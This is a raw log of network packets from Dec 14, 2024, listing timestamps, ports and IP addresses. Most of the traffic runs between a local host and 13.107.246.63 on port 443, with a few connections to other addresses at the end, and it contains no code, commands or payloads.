Dec 14, 2024 13:49:26.898148060 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.900748968 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.900813103 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.929447889 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.929579020 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.931890011 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.022063971 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.082020044 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.084830046 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.214380980 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.217242002 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.217405081 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.217405081 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.217408895 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.217488050 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.220066071 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.220223904 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.274084091 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.274209023 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.277193069 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.339893103 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.382164001 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.397377014 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.406538010 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.409792900 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.539016962 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.539084911 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.539336920 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.542408943 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.559113026 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.561150074 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.566633940 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.599112988 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.604029894 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.680919886 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.723756075 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.731054068 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.733748913 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.876339912 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.876420975 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.876583099 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.879606962 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.879740000 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.916368008 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.919307947 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.923213005 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:27.923290014 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.926136971 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:27.999880075 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.045859098 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.068473101 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.071809053 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.196949005 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.196989059 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.197076082 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.200215101 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.200216055 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.260468006 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.263427019 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.320146084 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.384896040 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.388041019 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.389024019 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.391339064 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.511132002 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.515484095 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.515527010 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.516014099 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.518992901 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.519201994 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.585232973 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.588870049 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.638936043 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.706932068 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.706998110 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.707034111 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.707065105 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.710098028 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.710256100 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.750121117 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.829972982 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.830029964 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.836390972 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.836427927 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:28.836584091 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.839802980 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.840832949 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:28.960623980 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.022258043 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.025605917 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.032186985 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.032265902 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.032394886 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.032394886 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.034827948 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.034929037 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.154865026 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.166826010 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.166860104 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.166977882 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.170739889 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.172231913 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.292098045 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.347081900 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.350337029 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.356842995 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.356916904 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.357059002 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.357059002 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.359473944 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.359473944 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.479270935 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.487579107 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.487602949 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.487724066 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.491496086 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.492311001 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.612054110 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.671423912 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.674380064 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.674413919 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.674426079 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.675786972 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.681340933 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.683497906 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.801078081 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.808715105 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.808751106 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.808892012 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.818154097 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.819210052 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.938977003 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.993357897 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.998238087 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:29.998342037 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:29.998368979 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.026715994 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.034759045 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.042740107 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.135431051 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.135452986 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.135628939 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.146553040 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.148289919 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.154540062 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.206100941 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.268551111 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.270127058 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.341561079 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.351339102 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.355276108 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.355325937 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.357631922 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.460983038 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.464256048 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.465878010 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.466001034 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.466020107 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.466144085 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.468674898 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.468893051 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.471193075 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.477596998 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.584124088 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.588484049 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.588556051 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.666448116 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.670193911 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.776544094 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.779516935 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.780611992 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.780687094 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.783044100 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.786501884 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.786556959 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.786567926 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.786628962 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.788845062 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.789182901 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:30.789997101 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.899399042 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.902810097 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.908582926 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.908894062 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.984987020 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:30.988409042 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.095259905 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.097814083 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.100831032 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.100939989 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.102943897 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.105568886 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.105647087 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.105653048 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.105830908 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.107846022 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.107880116 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.108306885 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.217674971 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.222660065 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.229794979 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.229873896 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.303122997 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.305912971 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.415678978 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.419135094 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.421935081 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.422198057 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.424479008 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.426781893 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.426851034 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.426904917 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.426964998 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.430588007 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.431612968 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.544317007 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.551933050 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.631572962 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.634620905 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.736645937 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.739460945 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.743098021 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.743166924 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.745452881 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.748047113 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.748094082 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.748132944 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.748236895 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.752037048 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.753164053 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:31.798146009 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.859858036 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.865705967 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.872184038 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.873223066 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.949194908 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:31.960175991 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.058079004 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.061131001 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.064471960 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.064737082 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.066979885 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.080054045 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.081830978 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.081908941 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.081911087 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.081968069 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.085035086 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.085254908 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.186927080 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.205651999 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.274912119 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.282720089 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.379173994 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.383274078 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.397691965 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.397888899 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.400563002 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.426906109 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.426965952 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.426975012 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.427022934 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.430037022 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.430114031 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.520787001 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.549830914 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.619098902 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.622930050 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.713179111 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.716465950 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.742230892 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.742368937 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.746129990 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.747059107 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.747185946 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.747208118 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.747270107 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.749919891 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.751446962 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:32.865839005 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.871452093 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.875919104 CET	49673	443	192.168.2.6	173.222.162.64
Dec 14, 2024 13:49:32.875976086 CET	49674	443	192.168.2.6	173.222.162.64
Dec 14, 2024 13:49:32.939332962 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:32.942035913 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.058907986 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.061217070 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.061234951 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.061286926 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.061893940 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.063594103 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.064740896 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.064806938 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.064850092 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.064904928 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.071068048 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.073486090 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.174282074 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.176939964 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.183340073 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.204044104 CET	49672	443	192.168.2.6	173.222.162.64
Dec 14, 2024 13:49:33.238027096 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.257088900 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.257174015 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.257190943 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.257317066 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.260493040 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.263449907 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.296715021 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.383295059 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.383409977 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.383754015 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.387742996 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.387804985 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.449058056 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.452091932 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.508769989 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.575285912 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.578150988 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.682171106 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.685118914 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.704149961 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.704220057 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.704267979 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.704267979 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.707405090 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.767379045 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.767760992 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:33.827148914 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.896348000 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:33.938539982 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:34.019421101 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:34.063440084 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:34.130548954 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:34.172827005 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:35.587007046 CET	443	49709	173.222.162.64	192.168.2.6
Dec 14, 2024 13:49:35.587481976 CET	49709	443	192.168.2.6	173.222.162.64
Dec 14, 2024 13:49:36.240159035 CET	49719	80	192.168.2.6	158.101.44.242
Dec 14, 2024 13:49:36.360052109 CET	80	49719	158.101.44.242	192.168.2.6
Dec 14, 2024 13:49:36.360152006 CET	49719	80	192.168.2.6	158.101.44.242
